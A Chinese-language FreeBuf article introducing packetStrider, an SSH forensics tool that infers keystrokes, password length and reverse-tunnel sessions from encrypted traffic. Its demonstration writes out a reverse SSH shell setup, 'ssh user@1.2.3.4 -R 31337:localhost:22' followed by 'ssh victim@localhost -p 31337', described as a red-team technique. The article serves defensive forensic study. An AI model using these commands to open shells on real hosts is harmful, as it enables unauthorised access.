freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

安全研究 | 使用packetStrider针对SSH进行网络数据包取证
2021-03-20 23:09:04

packetStrider

packetStrider是一款针对SSH的数据包取证工具,该工具旨在为研究人员提供对SSH流量本质进行研究的能力。packetStrider的出现,为研究人员针对SSH网络流量的研究和取证点亮了一盏明灯,可以帮助广大研究人员发现SSH数据流量中隐藏的“宝藏”。

SSH流量显然是经过加密处理的,但是有价值的上下文信息仍然存在于网络通信量中。甚至还有可能存在有价值的上下文不可用或从主机中删除的情况,因此具有不可变和不可变的被动网络捕获将为我们提供了额外的取证上下文。

跟取证上下文不同的是,packetStrider预测功能还能够以主动的方式来使用。比如说,如果在内部预测隧道反向SSH会话发起特性,则甚至在提供反向认证之前,也可以回避/RST转发连接。

工具使用

packetStrider基于Python 3开发,因此要求用户需在本地设备上安装并配置好Python 3环境。除此之外,我们还需要安装好下列依赖模块:

pip3 install pandas matplotlib pyshark

接下来,使用下列命令将该项目源码克隆至本地:

git clone https://github.com/benjeems/packetStrider.git

下载并解压后,在命令行终端切换至项目目录下,然后运行下列命令即可查看工具帮助信息:

python3 packetStrider-ssh.py -h

上述命令的输出如下:

usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]

                             [-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]

                             [-w WINDOW] [-s STRIDE]

 

packetStrider-ssh is a packet forensics tool for SSH. It creates a rich

feature set from packet metadata such SSH Protocol message content, direction,

size, latency and sequencing. It performs pattern matching on these features,

using statistical analysis, and sliding windows to predict session initiation,

keystrokes, human/script behavior, password length, use of client

certificates, context into the historic nature of client/server contact and

exfil/infil data movement characteristics in both Forward and Reverse sessions

 

optional arguments:

  -h, --help            show this help message and exit

  -f FILE, --file FILE  pcap file to analyze

  -n NSTREAM, --nstream NSTREAM

                        Perform analysis only on stream n

  -m, --metaonly        Display stream metadata only

  -k, --keystrokes      Perform keystroke prediction

  -p, --predict_plot    Plot data movement and keystrokes

  -z ZOOM, --zoom ZOOM  Narrow down/zoom the analysis and plotting to only

                        packets "x-y"

  -d DIRECTION, --direction DIRECTION

                        Perform analysis on SSH direction : "forward",

                        "reverse" OR "both"

  -o OUTPUT_DIR, --output_dir OUTPUT_DIR

                        Directory to output plots

  -w WINDOW, --window WINDOW

                        Sliding window size, # of packets to side of window

                        center packet, default is 2

  -s STRIDE, --stride STRIDE

                        Stride between sliding windows, default is 1

工具使用样例

“forward_reverse.pcap”来源于一个反向SSH Shell的常见TTP,它也是红队研究人员的最爱。具体来说,它使用了以下命令,并以最简单的方式突出了packetStrider的功能。

1、通过目标转发连接

转发会话的命令为“ssh user@1.2.3.4 -R 31337:localhost:22”,它会绑定本地端口31337,以便将反向SSH连接回传到目标PC。此连接可以通过多种方式实现,包括手动、通过RCE、SSRF或某种形式的持久化操作。在我们的演示过程中,它是一个手动标准转发会话。

这不是客户机第一次跟服务器通信,相关数据包的增量非常小,服务器的密钥指纹已经在客户机的已知主机中了,因此没有提示用户去添加它。

一个用户连续两次密码登录失败,然后用8个以上字符的密码成功登录。

“ls”命令在转发会话中输入,输入序列为:l,w,w,退格,退格,s,然后按下回车键。如果数据成功入站,那么传输数据的总大小将作为“ls”命令的输出。

2、现在在攻击者的设备(服务器)上,将会初始化一个反向Shell并回传给目标主机

命令如下:

ssh victim@localhost -p 31337

此时,甚至在认证过程开始之前,packetStrider已经识别出了反向会话SSH初始化。

现在,攻击者将拿到目标主机上的反向Shell。接下来,他们就可以进行各种横向渗透或其他操作了。不过,本例中只会简单演示初始的用户识别。

“last”命令的键入顺序如下:l、a、s、r、删除键、t、回车。

“who”命令的键入顺序如下:w、h、o、回车。

“exit”命令的键入顺序如下:e、x、i、t、回车。

3、最终转发会话将会关闭,只演示转发SSh功能检测能够成功即可。

整个活动的网络流量将会存储在“tcpdump.pcap”文件中,那么接下来我们就可以运行packetStrider来进行取证分析了:

python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

我们可以看到输出结果中会显示击键预测的时间轴:

下面显示的是某些窗口统计数据,可以为针对流量的深入分析提供帮助或提供一些实验性功能:

下图显示的是一份简单的统计直方图:

项目地址

packetStrider:【GitHub传送门

参考资料

https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident

https://skylightcyber.com/2019/09/26/all-your-cloud-are-belong-to-us-cve-2019-12491/

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12491

# 取证技术 # 取证分析 # 流量分析 # SSH连接
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录